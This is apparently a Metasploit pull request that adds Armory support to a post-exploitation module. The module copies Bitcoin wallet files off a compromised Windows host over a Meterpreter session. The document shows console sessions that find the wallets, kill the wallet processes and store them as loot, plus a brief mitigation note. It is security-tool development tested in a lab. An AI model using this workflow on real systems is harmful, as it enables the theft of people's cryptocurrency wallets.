Add Armory support to @illwill's bitcoin_jacker post module

This updates the 2+ year old bitcoin_jacker.rb module that got some recent attention on Twitter for some reason.

Also, I did not invent Bitcoin (no matter what you've read on the Internet).

Note that Armory / Bitcoin-QT could mitigate this attack significantly this by allowing the user to set an arbitrary file path for saving their generated wallets (namely, to removable media). AFAICT, there is no option for this in the standard QT-based clients.

**Update:** Made the default behavior for KILL_PROCESSES false as of commit 88cf1e4843

## Validation

 - [x] Install Armory, an often recommend Bitcoin wallet manager application, from https://bitcoinarmory.com/download/ . This procedure will also incidentally install the stock BitcoinQT client, so your target will have *both* formats available.
 - [x] Open a Meterpreter session to the target.
 - [x] Replicate the demo, below:

````
msf post(bitcoin_jacker) > info

       Name: Windows Gather Bitcoin Wallet
     Module: post/windows/gather/bitcoin_jacker
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  illwill <illwill@illmob.org>
  todb <todb@metasploit.com>

Description:
  This module downloads any Bitcoin wallet files from the target 
  system. It currently supports both the classic Satoshi wallet and 
  the more recent Armory wallets. Note that Satoshi wallets tend to be 
  unencrypted by default, while Armory wallets tend to be encrypted by 
  default.


msf post(bitcoin_jacker) > show options

Module options (post/windows/gather/bitcoin_jacker):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   KILL_PROCESSES  true             no        Kill associated Bitcoin processes before jacking.
   SESSION         1                yes       The session to run this module on.

msf post(bitcoin_jacker) > set KILL_PROCESSES false
KILL_PROCESSES => false
msf post(bitcoin_jacker) > exploit

[*] Checking all user profiles for Bitcoin wallets...
[*] Satoshi Wallet found at C:\Users\Tod Beardsley\AppData\Roaming\Bitcoin\wallet.dat
[*] Jackin' wallet...
[*] Wallet jacked: /home/todb/.msf4/loot/20131229125841_default_192.168.145.135_bitcoin.wallet.s_814483.dat
[*] Armory Wallet found at C:\Users\Tod Beardsley\AppData\Roaming\Armory\armory_2VmnWtU2K_.wallet
[*] Jackin' wallet...
[*] Wallet jacked: /home/todb/.msf4/loot/20131229125841_default_192.168.145.135_bitcoin.wallet.a_646708.bin
[*] Armory Wallet found at C:\Users\Tod Beardsley\AppData\Roaming\Armory\armory_2VmnWtU2K_backup.wallet
[*] Jackin' wallet...
[*] Wallet jacked: /home/todb/.msf4/loot/20131229125842_default_192.168.145.135_bitcoin.wallet.a_268790.bin
[*] Post module execution completed
````

Set KILL_PROCESSES set to true (I don't see the purpose of this, but illwill had this originally so there might be a reason).

````
msf post(bitcoin_jacker) > set KILL_PROCESSES true
KILL_PROCESSES => true
msf post(bitcoin_jacker) > exploit

[*] Checking all user profiles for Bitcoin wallets...
[*] Satoshi Wallet found at C:\Users\Tod Beardsley\AppData\Roaming\Bitcoin\wallet.dat
[*] Jackin' wallet...
[*] ArmoryQt.exe Process Found...
[*] Killing Process ID 3100...
[*] bitcoind.exe Process Found...
[*] Killing Process ID 3744...
[*] Wallet jacked: /home/todb/.msf4/loot/20131229125901_default_192.168.145.135_bitcoin.wallet.s_043937.dat
[*] Armory Wallet found at C:\Users\Tod Beardsley\AppData\Roaming\Armory\armory_2VmnWtU2K_.wallet
[*] Jackin' wallet...
[*] Wallet jacked: /home/todb/.msf4/loot/20131229125902_default_192.168.145.135_bitcoin.wallet.a_470906.bin
[*] Armory Wallet found at C:\Users\Tod Beardsley\AppData\Roaming\Armory\armory_2VmnWtU2K_backup.wallet
[*] Jackin' wallet...
[*] Wallet jacked: /home/todb/.msf4/loot/20131229125902_default_192.168.145.135_bitcoin.wallet.a_667298.bin
[*] Post module execution completed
````

Note that this module make no attempts to de-dupe loot files (I don't know any that do, really), so now I have two copies of each:

````
msf post(bitcoin_jacker) > loot

Loot
====

host             service  type                    name                                                                          content                   info                      path
----             -------  ----                    ----                                                                          -------                   ----                      ----
192.168.145.135           bitcoin.wallet.armory   C:\Users\Tod Beardsley\AppData\Roaming\Armory\armory_2VmnWtU2K_backup.wallet  application/octet-stream  Bitcoin Wallet (Armory)   /home/todb/.msf4/loot/20131229125902_default_192.168.145.135_bitcoin.wallet.a_667298.bin
192.168.145.135           bitcoin.wallet.armory   C:\Users\Tod Beardsley\AppData\Roaming\Armory\armory_2VmnWtU2K_.wallet        application/octet-stream  Bitcoin Wallet (Armory)   /home/todb/.msf4/loot/20131229125902_default_192.168.145.135_bitcoin.wallet.a_470906.bin
192.168.145.135           bitcoin.wallet.satoshi  C:\Users\Tod Beardsley\AppData\Roaming\Bitcoin\wallet.dat                     application/octet-stream  Bitcoin Wallet (Satoshi)  /home/todb/.msf4/loot/20131229125901_default_192.168.145.135_bitcoin.wallet.s_043937.dat
192.168.145.135           bitcoin.wallet.armory   C:\Users\Tod Beardsley\AppData\Roaming\Armory\armory_2VmnWtU2K_backup.wallet  application/octet-stream  Bitcoin Wallet (Armory)   /home/todb/.msf4/loot/20131229125842_default_192.168.145.135_bitcoin.wallet.a_268790.bin
192.168.145.135           bitcoin.wallet.armory   C:\Users\Tod Beardsley\AppData\Roaming\Armory\armory_2VmnWtU2K_.wallet        application/octet-stream  Bitcoin Wallet (Armory)   /home/todb/.msf4/loot/20131229125841_default_192.168.145.135_bitcoin.wallet.a_646708.bin
192.168.145.135           bitcoin.wallet.satoshi  C:\Users\Tod Beardsley\AppData\Roaming\Bitcoin\wallet.dat                     application/octet-stream  Bitcoin Wallet (Satoshi)  /home/todb/.msf4/loot/20131229125841_default_192.168.145.135_bitcoin.wallet.s_814483.dat
````

Ta-da. Now you can spend the rest of the life of the universe cracking those Armory bitcoin wallets.